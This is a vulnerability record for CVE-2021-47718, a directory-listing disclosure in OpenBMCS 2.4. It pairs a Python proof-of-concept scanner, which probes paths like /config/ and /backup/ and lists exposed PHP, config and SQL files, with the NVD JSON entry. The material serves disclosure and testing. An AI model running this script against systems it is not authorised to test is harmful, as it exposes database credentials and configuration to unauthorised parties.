CVE-2021-47718

# CVE-2021-47718 OpenBMCS Information Disclosure PoC # Target: OpenBMCS 2.4 # Vulnerability: Directory listing exposes sensitive files import requests import sys TARGET_PATHS = [ "/debug/", "/php/", "/config/", "/backup/", "/admin/", "/logs/", "/includes/", "/data/" ] def check_vulnerability(base_url): """Check if target is vulnerable to CVE-2021-47718""" print(f"[*] Scanning target: {base_url}") print(f"[*] CVE-2021-47718: OpenBMCS Directory Listing Information Disclosure\n") vulnerable_paths = [] for path in TARGET_PATHS: url = base_url.rstrip('/') + path try: response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: # Check if directory listing is enabled if 'Index of' in response.text or '<title>Index' in response.text: print(f"[+] VULNERABLE: {url}") print(f" Status: {response.status_code}") print(f" Directory listing enabled - sensitive files may be exposed\n") vulnerable_paths.append(url) # Try to extract file links lines = response.text.split('\n') for line in lines: if 'href=' in line and '.php' in line: print(f" Found PHP file: {line}") elif 'href=' in line and ('.conf' in line or '.cfg' in line or '.sql' in line): print(f" Found config file: {line}") except requests.exceptions.RequestException as e: print(f"[-] Error accessing {url}: {e}") if vulnerable_paths: print(f"\n[!] {len(vulnerable_paths)} vulnerable paths found") print("[!] Exposed information may include:") print(" - Database credentials") print(" - Configuration files") print(" - System paths and structure") print(" - Application source code") return True else: print("[-] No vulnerable directory listing found") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/openbmcs") sys.exit(1) target = sys.argv[1] check_vulnerability(target)

{"cve": {"id": "CVE-2021-47718", "sourceIdentifier": "[email protected]", "published": "2025-12-09T21:15:50.457", "lastModified": "2025-12-19T19:30:52.817", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenBMCS 2.4 contains an information disclosure vulnerability that allows unauthenticated attackers to access sensitive files by exploiting directory listing functionality. Attackers can browse directories like /debug/ and /php/ to discover configuration files, database credentials, and system information."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-548"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openbmcs:openbmcs:2.4:*:*:*:*:*:*:*", "matchCriteriaId": "E3963F28-1F3E-488E-A815-FA0BD370105D"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/50671", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.openbmcs.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/openbmcs-directory-listing-information-disclosure", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5695.php", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}